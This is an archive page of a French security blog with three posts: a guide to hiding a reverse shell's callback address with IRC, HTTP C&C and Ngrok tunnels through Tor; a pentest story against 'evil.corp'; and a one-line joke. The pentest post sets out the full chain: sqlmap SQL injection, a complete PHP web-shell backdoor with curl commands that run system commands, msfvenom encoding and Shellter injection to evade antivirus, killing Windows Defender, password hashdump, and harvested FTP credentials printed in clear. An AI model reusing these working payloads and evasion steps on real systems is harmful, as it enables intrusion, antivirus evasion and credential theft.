Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Archives juillet 2017

Les Questions Cons du Hacking : Un reverse shell anonyme c'est possible ?

Rédigé par devloop - -

S01E03: Un reverse shell anonyme c'est possible ?

C'est une excellente question et je me remercie de me l'avoir posé !

Un connect-back ou reverse shell anonyme c'est un peu le Saint Graal, la Chimère, le fantasme, la salope sauvage de tout hacker. Toute le monde n'a pas goûté à son petit goût fumé mais oui ça existe !

Avant toute chose et dans le but d'éviter un hors sujet, rassemblons-nous les neurones pour définir la situation ainsi que ce que l'on souhaite entendre par anonyme.

Ici on exclura toute analyse post-intrusion donc on laisse tomber le binaire qui demande l'adresse IP de connect-back sur l'entrée standard (pour éviter qu'elle ne soit hardcodée) et aussi le binaire chiffré / packé / anti-debug / timebomb qui fait tout pour rendre compliqué la récupération d'une IP pourtant hardcodée.

On part donc du principe qu'un administrateur a lancé un tcpdump et qu'il voit tout ce qu'il se passe sur le réseau.
On exclut aussi le tunneling de ninja par DNS, ICMP et compagnie. On oublie aussi les protocoles que l'admin ne penserait pas à surveiller (SCTP & co).

Par anonyme on entendra ici que l'adresse IP du connect-back n'est pas celle de l'attaquant et qu'il est en mesure d'utiliser plusieurs relais pour dissimuler sa véritable adresse IP.
Evidemment on suppose qu'il dissimule déjà son IP avec sa RCE, sinon ça n'a pas grand intérêt :D

Pourquoi vouloir un reverse shell ?

C'est vrai ça ! A quoi bon grand-père ?

Souvent, avant d'obtenir un shell, l'attaquant dispose d'une RCE (exécution de commandes à distance) de misère (souvent à travers un script PHP, comme celui décrit dans Tales of PenTest #1) qui ne conserve pas l'environnement d'une commande à l'autre (le plus triste c'est le répertoire courant) et qui ne permet pas d'utiliser des programmes interactifs comme Vim, (h)top et compagnie.

Avec IRC

La technique est connue depuis la nuit des temps : l'attaquant lance sur la cible un bot IRC qui va rejoindre un channel (si possible caché et protégé par une clé).
L'attaquant n'a plus qu'à joindre la channel et via des messages spéciaux (préfixes) il fait passer des commandes au bot qui les exécute et retourne l'output via IRC.

C'est couramment utilisé par les botnet car l'attaquant peut laisser des commandes sur le channel à l'intention de tous les bots qui sont présents simultanément.

Avantages :
  • L'attaquant peut se connecter au serveur IRC via un système (Tor, VPN ou interface web comme Mibbit) qui renforce son anonymat
  • Le bot peut avoir un mécanisme de conservation de l'environnement
  • On trouve plein de codes sources de ce style, du plus ancien orienté DDoS en C à celui en Python avec support du SSL
  • Il existe des serveurs IRC écoutant sur les ports 80 ou 443 (pour les règles de firewall)
  • Le trafic peut sortir via un proxy HTTP (si il supporte CONNECT)
Inconvénients :
  • La technique est connue des IDS
  • La technique des connue des AVs (le bot peut être détecté)
  • En raison des protections anti-flood propres à IRC on imagine mal tunneler un htop ou un Vim donc l’interaction restera très basique

Avec HTTP

A une époque les créateurs de malware ont délaissés les C&C IRC pour se retrancher vers le web.
Le principe n'est pas très éloigné de l'IRC. Ici on aura un site internet sur lequel les bots signalent leur existence et vont chercher des commandes que le botmaster aurait laissé.

Avantages :
  • L'attaquant peut se connecter sans problèmes via Tor et autres proxies quelconques
  • On peut trouver du code existant mais il est préférable de le relire à deux fois (entre vulnérabilités et backdoors)
  • On peut laisser des commandes à un bot même s'il n'est pas là (la commande est stockée en base de données, le bot vient la chercher quand il se connecte)
  • Pas de connexion permanente contrairement à IRC donc plus furtif
  • Web donc généralement pas de problématiques de firewall ou de proxy
Inconvénients :
  • Peut être long et laborieux de coder soit même le site
  • Il faut enregistrer et créer le site tout en préservant son anonymat
  • Le protocole HTTP complexifie la conservation de l'environnement car les connexions sont ponctuelles
  • A quoi bon troquer une RCE web contre un C&C web ?

Avec Ngrok

Ngrok se présente comme un "tunnel sécurisé vers localhost".

Un peu comme les deux solutions que l'on a vu précédemment, Ngrok offre un point de rendez-vous entre la cible et son attaquant.

On peut utiliser Ngrok pour rendre accessible un service derrière un NAT. Dans ce cas Ngrok va créer soit un sous domaine de ngrok.io (pour les tunnels HTTP et HTTPS) qui redirigera les requêtes vers votre service local, soit ouvrir un port sur x.tcp.ngrok.io (x étant un entier commençant à 0) qui redirigera les paquets vers votre service local.

La création d'un tunnel se fait via une connexion sur le port 443 de tunnel.us.ngrok.com (le serveur dépend probablement de la région que vous sélectionnez).
Quand quelqu'un se connecte au sous domaine ou au port sur x.tcp.ngrok.io, les données sont retransmises sur le tunnel qui a été préalablement établit.

On peut donc utiliser Ngrok dans deux configurations :
  • Lancer ngrok sur la cible pour rendre accessible un service qui aurait été normalement injoignable (ssh, rdp, backdoor écoutant sur 127.0.0.1)
  • Lancer ngrok sur la machine de l'attaquant afin que l'IP du connect-back soit celle du Ngrok et non celle de l'attaquant
Avantages de la première méthode (qui sort du sujet du connect-back) :
  • Ngrok est codé en Go donc les exécutables sont des binaires statiques facilement déployables (copier, exécuter)
  • La cible ne voit qu'une connexion sur un port HTTPS vers un serveur AWS... seems legit
  • l'attaquant peut utiliser un système d'anonymisation quelconque pour joindre le tunnel Ngrok, il n'a pas à s'embêter à lancer un service et NATer un port
  • le binaire Ngrok est clean (c'est juste un outil d'administration) donc non détecté par les antivirus
Inconvénients :
  • L'éventuelle backdoor locale qui se retrouve dans la liste des processus de la cible et netstat
  • Ngrok qui se retrouve aussi dans netstat (mais en connexion sortante) et dans la liste des processus

Ngrok et connect-back

Pour la suite de l'article on va se concentrer sur la seconde configuration, à savoir l'attaquant a lancé Ngrok sur sa machine et la cible fera un connect-back sur le tunnel Ngrok.
On est donc proche des cas de figure HTTP et IRC vu précédemment et si on inclus Tor dans tout ça on peut représenter la communication de cette façon :
Meterpreter through Tor through Ngrok
Ngrok différencie les tunnels servant à relayer du HTTP(S) de ceux relayant directement du TCP.

L'avantage des tunnels HTTP(S) est qu'il suffit de lancer l'exécutable Ngrok avec comme paramètre "http" suivi du port du service web local.

Par exemple ./ngrok http 7777

On obtient en retour une interface de statut ncurses avec l'URL ngrok générée (sur la capture c'est le port 8000 et non 7777 mais peu importe).
Ngrok http tunnel port 8000

Le sous domaine alloué par Ngrok accepte alors les connexions sur les ports 80 et 443. Le port 443 a un certificat valide. On profite donc d'un chiffrement de notre tunnel chez la cible :)
Ngrok tunnel valid certificate

Est-ce que l'on peut abuser du tunnel HTTP pour relayer autre chose ?

Essayons d'envoyer des données non conformes HTTP :
$ ncat 3b9ad5f5.ngrok.io 80 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 2600:1f16:59e:b200:dd1c:548d:63ef:7119:80.
plop
HTTP/1.0 400 Bad request
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>
Ncat: 5 bytes sent, 187 bytes received in 8.26 seconds.
Il semble que Ngrok fasse office de proxy web.
Essayons d'envoyer une requête HTTP sans le Host :
$ ncat 3b9ad5f5.ngrok.io 80 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 2600:1f16:59e:b200:dd1c:548d:63ef:7119:80.
GET / HTTP/1.0

HTTP/1.1 404 Not Found
Content-Length: 17
Connection: close
Content-Type: text/plain

Tunnel  not found
Ncat: 16 bytes sent, 108 bytes received in 6.33 seconds.
Et si on émet une requête valide :
$ ncat 3b9ad5f5.ngrok.io 80 -v
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connected to 2600:1f16:59e:b200:dd1c:548d:63ef:7119:80.
GET / HTTP/1.1
Host: 3b9ad5f5.ngrok.io
On reçoit sur notre port 7777 :
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from ::1.
Ncat: Connection from ::1:50685.
GET / HTTP/1.1
Host: 3b9ad5f5.ngrok.io
X-Forwarded-For: dead:beef:cafe:babe:133t:a1cd:c001:3a69
Là ça passe. On remarque aussi qu'il relaye l'adresse IP du client qui s'est connecté au tunnel (soit l'IP de la cible dans cette configuration).

On ne peut donc faire passer que du HTTP(S) via ce type de tunnel. Est-ce que l'on peut en tirer quelque chose avec Metasploit ?

D'après mes tests si on tente de faire passer un Meterpreter http via le tunnel http :
  • Ça ne fonctionne qu'avec un Meterpreter HTTP non-stager
  • On peut exploiter la fonctionnalité SSL du tunnel Ngrok mais il faut que le handler Meterpreter soit lui http (pas de https vers https)
  • C'est vraiment très instable (ngrok a visiblement du mal avec les requêtes générées par Meterpreter, la session aura une durée de vie très limitée)
MsfVenom https meterpreter generation

Meterpreter http handler receiving reverse shell from Ngrok tunnel

Retranchons nous maintenant vers les tunnels TCP.

Il suffit de remplacer http par tcp dans la commande : ./ngrok tcp 7777

Cette fois il y a des étapes supplémentaires :
Tunnel session failed: TCP tunnels are only available after you sign up.                                                                                                                                                                     
Sign up at: https://ngrok.com/signup                                                                                                                                                                                                         
                                                                                                                                                                                                                                             
If you have already signed up, make sure your authtoken is installed.                                                                                                                                                                        
Your authtoken is available on your dashboard: https://dashboard.ngrok.com                                                                                                                                                                   
                                                                                                                                                                                                                                             
ERR_NGROK_302
Il faut donc se rendre sur la page https://ngrok.com/signup et créer un compte pour récupérer un token d'activation.
Signup on Ngrok

Les bons points :
  • On peut accéder au site via Tor, VPN, etc
  • On a une adresse email à saisir mais aucune vérification n'est faite (l'adresse mail peut ne pas exister)
  • Pas de captcha
  • On peut avoir des informations de statut sur le tunnel via le site
Ngropk tunnel status via web interface

C'est donc entièrement automatisable.
La seule restriction est finalement de donner un mot de passe plus long que 10 caractères.
Un fois le compte créé on obtient le token qu'il faut valider de cette façon :
./ngrok authtoken 6ZuSho4BXgfbRB7v7qcR2_3Wnxf7fCBc74zBDP1x1i6
On obtient une réponse de ce style :
Authtoken saved to configuration file: /home/devloop/.ngrok2/ngrok.yml
Il suffit alors de relancer la première commande Ngrok pour créer le tunnel.
Ngrok tcp tunnel

Cette fois on peut faire passer tout ce que l'on souhaite à travers le tunnel TCP, même un stager (windows/meterpreter/reverse_tcp).

Attention tout de même, il y a des petits curieux qui scannent les ports de 0.tcp.ngrok.io en espérant trouver des services croustillants mais je ne suis pas sûr qu'ils tiltent en voyant un stager Meterpreter dans leur Nmap :D

Avantage : on peut vraiment faire passer tout type de communication TCP.
Inconvénient : on ne choisit par le numéro de port (quoi que l'on puisse réserver une adresse Ngrok d'après la documentation)

Mais ce serait vraiment vicieux de demander plus :P

Configuration Ngrok avancée

Ngrok a quelques pépites supplémentaires à offrir que l'on peut voir en lisant la documentation.

Proxy socks
Un rajoutant une ligne au fichier de configuration ngrok.yml on peut spécifier un proxy SOCKS pour faire par exemple passer le tunnel à travers Tor avant qu'il atteigne le serveur de Ngrok (et ça semble plus fiable que d'essayer de socksifier Ngrok, peut-être une particularité de Go) :
socks5_proxy: "socks5://127.0.0.1:9050"

Pas de logs
Ça peut être utile si c'est la cible qui fait tourner Ngrok
log: false

Choisir la localisation du serveur Ngrok
Un serveur Amazon aux USA c'est pour le moins discret mais si la cible est au Japon, on peut spécifier une autre région pour le tunnel.
Les serveurs sont en Ohio (us), à Francfort (eu), Singapour (ap) et Sydney (au)
region: us

Pas d'interface de contrôle
Par défaut Ngrok lance un service web avec une API REST sur le port 4040 (https://ngrok.com/docs#client-api)
Cette API permet d'avoir un état des tunnels, des statistiques, etc. On peut désactiver l'écoute sur ce port de cette manière :
web_addr: false

Classé dans : Non classé - Mots clés : aucun

Tales of PenTest #1: Celui qui donnait la permission FILE

Rédigé par devloop - -

Exploitation web

Un Nmap sur evil.corp nous informe que seul un serveur Apache est présent sur le port 80. La machine est quand à elle un Windows (Win64 d'après la bannière HTTP, Nmap suspecte lui un Windows Server 2008).

Je joue rapidement avec le site qui semble vulnérable à des injections SQL. Un Wapiti permet d'obtenir différents angles d'attaque.

./bin/wapiti http://evil.corp/ -v 2 --color -d 5
Wapiti report for evil.corp

Wapiti trouve différentes failles SQL pour des scripts et des méthodes HTTP différentes (le nombre de failles n'est pas représentatif, il peut s'agir d'un même script vulnérable mais avec des paramètres d'URL différents).
Face à un tel choix j'ai toujours tendance à tester d'abord les injections dans les formulaires (je veux dire données envoyées en POST) pour la simple raison qu'elles permettent d'être plus discret (l'injection SQL n’apparaîtra pas dans les logs du serveur web).

Un autre élément primordial est à prendre en compte : le type d'injection SQL.
Entre une injection en aveugle basée sur le temps de réponse et une injection non-aveugle de type UNION le choix est vite fait.
Je préfère abandonner un peu de discrétion et pouvoir dumper rapidement des tables plutôt que être en mode ninja de l'apocalypse et parvenir à dumper une table en 3 semaines avec des erreurs :p

Je fini par faire mon choix parmi les scripts vulnérables :

Wapiti report SQL injection on evil.corp

Je lance sqlmap sur l'URL vulnérable qui est exploitable via différentes techniques.
$ sqlmap.py -u "http://evil.corp/products/?keyword=&category=1" --random-agent -p category

---
Parameter: category (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keyword=&category=1 AND 4994=4994

    Type: AND/OR time-based blind
    Title: MySQL time-based blind - Parameter replace (MAKE_SET)
    Payload: keyword=&category=MAKE_SET(2846=2846,SLEEP(5))

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: keyword=&category=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7071,0x507a72574e695348556a5556736b55794d4a7361626b7663416e7a6f6f62734a434c767247495773,0x716a766a71),NULL,NULL,NULL,NULL,NULL-- Hz
oF
---
web application technology: Apache 2.4.4
back-end DBMS: MySQL 5
available databases [4]:
[*] evilcorp_db
[*] information_schema
[*] mysql
[*] performance_schema
Parmi les tables de evilcorp_db (obtenues avec sqlmap via -D evilcorp_db --tables) on trouve une table admin_users qui nous promet des merveilles.
Table: admin_users
[7 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| privileges | int(11)      |
| id_user    | int(11)      |
| login      | varchar(255) |
| mail       | varchar(255) |
| name       | varchar(255) |
| pwd        | varchar(64)  |
| role       | tinyint(4)   |
+------------+--------------+

Admin web

Les identifiants qui y sont présents ne fonctionnent pas avec le site mais en fouillant un peu je trouve un CMS visiblement fait maison (aucune référence au nom de l'appli n'a été trouvé sur Google) sur /admin/ sur lequel les identifiants (stockés en clair) fonctionnent.

Parmi les pages utilisées sur cette interface admin on trouve un script d'upload à /admin/context/upload.php.
Le problème c'est que lors de l'upload (qui accepte visiblement tout type d'extension) aucune indication n'est donnée sur l'emplacement où se retrouvent les fichiers.

SQLmap nous permet de savoir que l'utilisateur SQL courant (evil@localhost) n'est pas DBA (sniff).
Toutefois une bonne surprise nous attend lorsque l'on dump les privilèges des utilisateurs.
database management system users privileges:

[*] 'evilcorp'@'%' [5]:
    privilege: DELETE
    privilege: FILE
    privilege: INSERT
    privilege: SELECT
    privilege: UPDATE
Youpi ! C'est noël avant l'heure :) Grace au privilège FILE (qui n'a aucune raison d'être là) on va donc pouvoir dumper le code PHP des scripts via LOAD DATA INFILE et potentiellement placer une backdoor PHP via INTO OUTFILE (si secure_file_priv n'entre pas en jeux).

Avant de commencer à dumper les scripts PHP il faut déjà connaître leur path.
En fouillant dans la table admin_site de la base de données on peut trouver des variables de configuration du site, notamment des paths. Or il s'avère que ces paths correspondent à un environnement Unix (une racine web qui correspondrait à du RedHat ou CentOS), étrange pour un serveur qui semble tourner sous Windows...

Et effectivement les paths Unix que l'on peut donner à sqlmap via --file-read ne nous retournent aucun contenu.

Je retourne sur le site, bien décidé à lui faire cracher quelques paths valides. Au boût d'un moment je trouve un script qui permet d'afficher une image en spécifiant la largeur (paramètre w). Si on passe autre chose qu'un chiffre le script commence à causer :)
http://evil.corp/thumb.php?w=not_a_number&file=pictures%2Fproduct%2Fcamera.jpg
EvilCorp thumb php script path leak

Les chemins présents en base doivent correspondre en fait à une ancienne installation.

On sait dorénavant que le serveur fonctionne bien sous Windows avec WAMP. Armé en plus de la version d'Apache on retrouve facilement sur le web les paths des fichiers de configuration pouvant nous aider (config Apache, MySQL et WAMP).

Divulgation de fichiers

Finalement le LOAD DATA INFILE fonctionne et nous permet de trouver l'emplacement des fichiers uploadés en récupérant le code du script PHP d'upload.

evil.corp php upload script code

Upload de fichiers

On uploade aussitôt une backdoor PHP générique qui exploite la possibilité d'instancier une fonction en PHP (une technique couramment utilisée, déjà vu dans les scripts que laissent des pirates après une intrusion).
<?php                                                                                                                  
$func = isset($_POST["f"]) ? $_POST["f"] : "";                                                                         
$arg1 = isset($_POST["a"]) ? $_POST["a"] : "";                                                                         
$arg2 = isset($_POST["b"]) ? $_POST["b"] : "";                                                                         
$ret_func = isset($_POST["rf"]) ? $_POST["rf"] : "";                                                                   
                                                                                                                       
$ret_val = "";                                                                                                         
if ($func != "") {                                                                                                     
    if ($arg1 != "" && $arg2 != "") {                                                                                  
        $ret_val = $func($arg1, $arg2);                                                                                
    } elseif ($arg1 != "") {                                                                                           
        $ret_val = $func($arg1);                                                                                       
    } else {                                                                                                           
        $ret_val = $func();                                                                                            
    }                                                                                                                  
}                                                                                                                      
                                                                                                                       
if ($ret_func != "") {                                                                                                 
    $ret_func($ret_val);                                                                                               
}                                                                                                                      
                                                                                                                       
?>

Exécution de commande

Cela permet de passer le nom de fonction à exécuter avec ses arguments (jusqu'à deux), de récupérer le résultat de la fonction et de le passer à une autre fonction.

L'équivalent d'un print(passthru("dir c:\")) se fera de cette façon :
$ curl --data 'f=passthru&a=dir c:\&rf=print' http://evil.corp/pictures/product/db.inc.php
 Le volume dans le lecteur C n'a pas de nom.
 Le num�ro de s�rie du volume est DEAD-BEEF

 R�pertoire de c:\

26/12/2014  17:03    <REP>          Intel
17/08/2009  05:20    <REP>          PerfLogs
10/12/2014  18:22    <REP>          Program Files
17/03/2016  14:25    <REP>          Program Files (x86)
02/08/2014  11:35    <REP>          Backup
13/05/2015  11:28    <REP>          temp
22/11/2017  10:34    <REP>          Users
08/09/2016  10:21    <REP>          wamp
11/06/2017  23:53    <REP>          Windows
On trouve quelques entrées intéressantes dans Program Files :
02/12/2014  09:36    <REP>          FileZilla FTP Client
16/01/2017  14:25    <REP>          Kaspersky Lab
09/04/2016  08:32    <REP>          TeamViewer
23/12/2014  16:41    <REP>          Windows Defender
Il y a donc deux outils de sécurité qui tournent.
$ curl --data 'f=passthru&a=tasklist&rf=print' http://evil.corp/pictures/product/db.inc.php

Nom de l'image                 PID Nom de la sessio Num�ro de s Utilisation 
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0        24 Ko
System                           4 Services                   0       528 Ko
smss.exe                       436 Services                   0       100 Ko
csrss.exe                      616 Services                   0     1�588 Ko
wininit.exe                    672 Services                   0       232 Ko
winlogon.exe                   748 Console                    1       252 Ko
services.exe                   796 Services                   0     5�044 Ko
lsass.exe                      804 Services                   0     5�200 Ko
lsm.exe                        816 Services                   0     1�500 Ko
svchost.exe                    996 Services                   0     3�828 Ko
---snip---
wampmanager.exe               2156 Console                    1     1�208 Ko
avp.exe                       2296 Services                   0    80�044 Ko
avpui.exe                     1168 Console                    1     3�060 Ko
TeamViewer_Service.exe        3588 Services                   0     6�052 Ko
TeamViewer.exe                9416 Console                    1     7�992 Ko
httpd.exe                     9172 Services                   0       328 Ko
mysqld.exe                    7164 Services                   0    31�888 Ko
tomcat7.exe                  13836 Services                   0    50�648 Ko
cmd.exe                       4548 Services                   0     2�932 Ko
tasklist.exe                  7412 Services                   0     5�788 Ko
Et sous quel utilisateur je tourne au fait ?
$ curl --data 'f=passthru&a=whoami&rf=print' http://evil.corp/pictures/product/db.inc.php
autorite nt\syst�me
Vous ne revez pas, WAMP tourne bien en système du coup les commandes que l'on passe aussi. Pas d'escalade de privilèges à ajouter :)

Parmi les services qui tournent on retrouve AVP17.0.0, KSDE1.0.0 et WinDefend.
Ce dernier peut être simplement stoppé avec sc stop WinDefend.
Pour Kaspersky c'est une autre paire de manche.

Bypass d'antivirus

Je vais générer une backdoor Meterpreter via msfvenom et Shellter pour diminuer mes chances d'être attrapé par l'antivirus.

D'abord je génère un payload x86 raw avec msfvenom :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=100.100.0.1 LPORT=7777 EXITFUNC=thread -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f raw -o custom_payload

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai chosen with final size 489
Payload size: 489 bytes

Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/countdown
x86/countdown succeeded with size 507 (iteration=0)
x86/countdown succeeded with size 525 (iteration=1)
x86/countdown succeeded with size 543 (iteration=2)
x86/countdown succeeded with size 561 (iteration=3)
x86/countdown succeeded with size 579 (iteration=4)
x86/countdown succeeded with size 597 (iteration=5)
x86/countdown succeeded with size 615 (iteration=6)
x86/countdown succeeded with size 633 (iteration=7)
x86/countdown chosen with final size 633
Payload size: 633 bytes

Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 660 (iteration=0)
x86/shikata_ga_nai succeeded with size 687 (iteration=1)
x86/shikata_ga_nai succeeded with size 714 (iteration=2)
x86/shikata_ga_nai succeeded with size 741 (iteration=3)
x86/shikata_ga_nai succeeded with size 768 (iteration=4)
x86/shikata_ga_nai succeeded with size 795 (iteration=5)
x86/shikata_ga_nai succeeded with size 822 (iteration=6)
x86/shikata_ga_nai succeeded with size 849 (iteration=7)
x86/shikata_ga_nai succeeded with size 876 (iteration=8)                                                                                                                                                                                     
x86/shikata_ga_nai chosen with final size 876                                                                                                                                                                                                
Payload size: 876 bytes                                                                                                                                                                                                                      
Saved as: custom_payload
Ensuite j'utilise Shellter pour intégrer le payload dans un exécutable Win32.
Le choix de l'exécutable se fera généralement pour un programme assez gros (suffisamment d'instructions), qui fonctionne en ligne de commande (si on utilise le mode Stealth de Shellter qui conserve le fonctionnement du programme hôte) et qui n'a pas de système de vérification d'intégrité (du genre un installeur).

Dans l'exemple çi-dessous j'utilise SiteShooter de NirSoft mais il est tout à fait possible d'utiliser d'autres exécutables. Il faudra parfois plusieurs tentatives avant de trouver des paramètres adéquats pour Shellter. Les exécutables de NirSoft sont packés avec UPX, j'ai préalablement unpacké SiteShooter.exe avant de le passer à Shellter (upx.exe -d SiteShooter.exe).
        1010101 01   10 0100110 10     01  11001001 0011101 001001
        11      10   01 00      01     01     01    10      11   10
        0010011 1110001 11011   11     10     00    10011   011001
             11 00   10 01      11     01     11    01      01   11
        0010010 11   00 0011010 100111 000111 00    1100011 01   10 v6.9
        www.ShellterProject.com                     Wine Mode



Choose Operation Mode - Auto/Manual (A/M/H): A

PE Target: /tmp/SiteShoter.exe

**********
* Backup *
**********

Backup: Shellter_Backups\SiteShoter.exe




********************************
* PE Compatibility Information *
********************************

Minimum Supported Windows OS: 4.0

Note: It refers to the minimum required Windows version for the target
      application to run. This information is taken directly from the
      PE header and might be not always accurate.




******************
* Packed PE Info *
******************

Status: Possibly Not Packed - The EntryPoint is located in the first section!




***********************
* PE Info Elimination *
***********************

Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.

Status: All related information has been eliminated!




****************
* Tracing Mode *
****************

Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.

Note: In Auto Mode, Shellter will trace a random number of instructions
      for a maximum time of approximately 30 seconds in native Windows
      hosts and for 60 seconds when used in Wine.



Instructions Traced: 151793

Tracing Time Approx: 1.36 mins.



Starting First Stage Filtering...



*************************
* First Stage Filtering *
*************************

Filtering Time Approx: 0.0107 mins.



Enable Stealth Mode? (Y/N/H): N

************
* Payloads *
************

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

Use a listed payload or custom? (L/C/H): C

Select Payload: /tmp/custom_payload

Is this payload a reflective DLL loader? (Y/N/H): N


****************
* Payload Info *
****************

Payload: /tmp/custom_payload

Size: 876 bytes

Reflective Loader: NO

Encoded-Payload Handling: Enabled

Handler Type: IAT



******************
* Encoding Stage *
******************

Encoding Payload: Done!


****************************
* Assembling Decoder Stage *
****************************

Assembling Decoder: Done!


***********************************
* Binding Decoder & Payload Stage *
***********************************

Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
        code, and binding it with the payload.

Please wait...

Binding: Done!


*********************
* IAT Handler Stage *
*********************


Fetching IAT Pointers to Memory Manipulation APIs...


0. VirtualAlloc --> IAT[41d154]
1. VirtualAllocEx --> N/A
2. VirtualProtect --> N/A
3. VirtualProtectEx --> IAT[41d1f8]
4. HeapCreate/HeapAlloc --> IAT[41d100]/IAT[41d164]
5. LoadLibrary/GetProcAddress --> IAT[41d160]/IAT[41d1e8]
6. GetModuleHandle/GetProcAddress --> IAT[41d138]/IAT[41d1e8]
7. CreateFileMapping/MapViewOfFile --> N/A

Using Method --> 3



***************************
* IAT Handler Obfuscation *
***************************

Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.

Please wait...

Code Generation Time Approx: 0 seconds.



*************************
* PolyMorphic Junk Code *
*************************

Type: Engine

Generating: ~546 bytes of PolyMorphic Junk Code

Please wait...

Generated: 546 bytes

Code Generation Time Approx: 0 seconds.



Starting Second Stage Filtering...



**************************
* Second Stage Filtering *
**************************

Filtering Time Approx: 0 mins.



*******************
* Injection Stage *
*******************

Virtual Address: 0x401cc6

File Offset: 0x10c6

Section: .text


Adjusting stub pointers to IAT...

Done!


Adjusting Call Instructions Relative Pointers...

Done!


Injection Completed!



*******************
* PE Checksum Fix *
*******************

Status: Valid PE Checksum has been set!

Original Checksum: 0x0

Computed Checksum: 0x2bb63



**********************
* Verification Stage *
**********************


Info: Shellter will verify that the first instruction of the
      injected code will be reached successfully.
      If polymorphic code has been added, then the first
      instruction refers to that and not to the effective
      payload.
      Max waiting time: 10 seconds.

 Warning!
 If the PE target spawns a child process of itself before
 reaching the injection point, then the injected code will
 be executed in that process. In that case Shellter won't 
 have any control over it during this test.
 You know what you are doing, right? ;o)

Injection: Verified!
Si on envoie l'exécutable sur NoDistribute on voit que seul deux antivirus détectent une menace... et il s'agit apparemment de faux positifs (je veux dire que c'est bien une menace mais la dénomination des malwares ne correspond pas au payload).
Dans tous les cas Kaspersky ne posera pas de problèmes d'après ces résultats.

NoDistribute scan for Meterpreter injected SiteShooter.exe

On uploade et on lance l'exécutable sur le serveur avec passthru. La session Metasploit nous parvient.
meterpreter > sysinfo
Computer        : EVILCORP-WEBSERVER
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/win64
La machine ne fait partie d'aucun réseau local ni domaine Windows, on va s'en tenir à la récupération d'identifiants.
meterpreter > getuid
Server username: AUTORITE NT\Syst�me

meterpreter > run killav
[*] Killing Antivirus services on the target...
[*] Killing off avp.exe...
Après cette opération avp.exe reste toujours dans la liste des processus. Mais mon installation de Metasploit date un peu. Difficile de dire quel est l'état de l'antivirus après ça et si ça a eu un quelconque impact.
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 179da64596822c5bcfdaeae71751ad0e...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invit�:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WebServer:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Les utilisateurs ont tous le même hash correspondant à l'absence de mot de passe... Sous prétexte que les services Windows ne sont pas accessibles depuis l'extérieur on en oublie les bonnes pratiques de base :D

Trophée

On a vu plutôt que le client Filezilla était utilisé, voyons ce qu'on peut obtenir comme identifiants...
meterpreter > run get_filezilla_creds
[*] Running Meterpreter FileZilla Credential harvester script
[*] All services are logged at /root/.msf4/logs/filezilla/EVILCORP_WEBSERVER_20170618.5630/EVILCORP_WEBSERVER_20170618.5630.txt
[*] Running as SYSTEM extracting user list..
[*] Checking if Filezilla profile is present for user :::Admin:::...
[-] Filezilla profile not found!
[*] Checking if Filezilla profile is present for user :::WebServer:::...
[*] FileZilla profile found!
[*] Reading sitemanager.xml file...
[*]     Host: ftp.supplier.fr
[*]     Port: 21
[*]     User: client425
[*]     Password: nYZd4PkX
[*]     Protocol: FTP
[*] 
[*] Reading recentservers.xml file...
[*]     Host: ftp.supplier.fr
[*]     Port: 21
[*]     User: EVILCORP
[*]     Password: P@ssw0rd!
[*]     Protocol: FTP
[*] 
[*]     Host: ftp.supplier.fr
[*]     Port: 21
[*]     User: client425
[*]     Password: nYZd4PkX
[*]     Protocol: FTP
[*] 
[*]     Host: srv545.hosting.com
[*]     Port: 21
[*]     User: EVILCORP
[*]     Password: Ev!lC0rp
[*]     Protocol: FTP
[*]

Mission accomplished! :)


Classé dans : Non classé - Mots clés : aucun

Les Questions Cons du Hacking : Peut-on spoofer son adresse IP sur Internet ?

Rédigé par devloop - -

S01E02: Peut-on spoofer son adresse IP sur Internet ?

Et la réponse est OUI. C'est tout :)

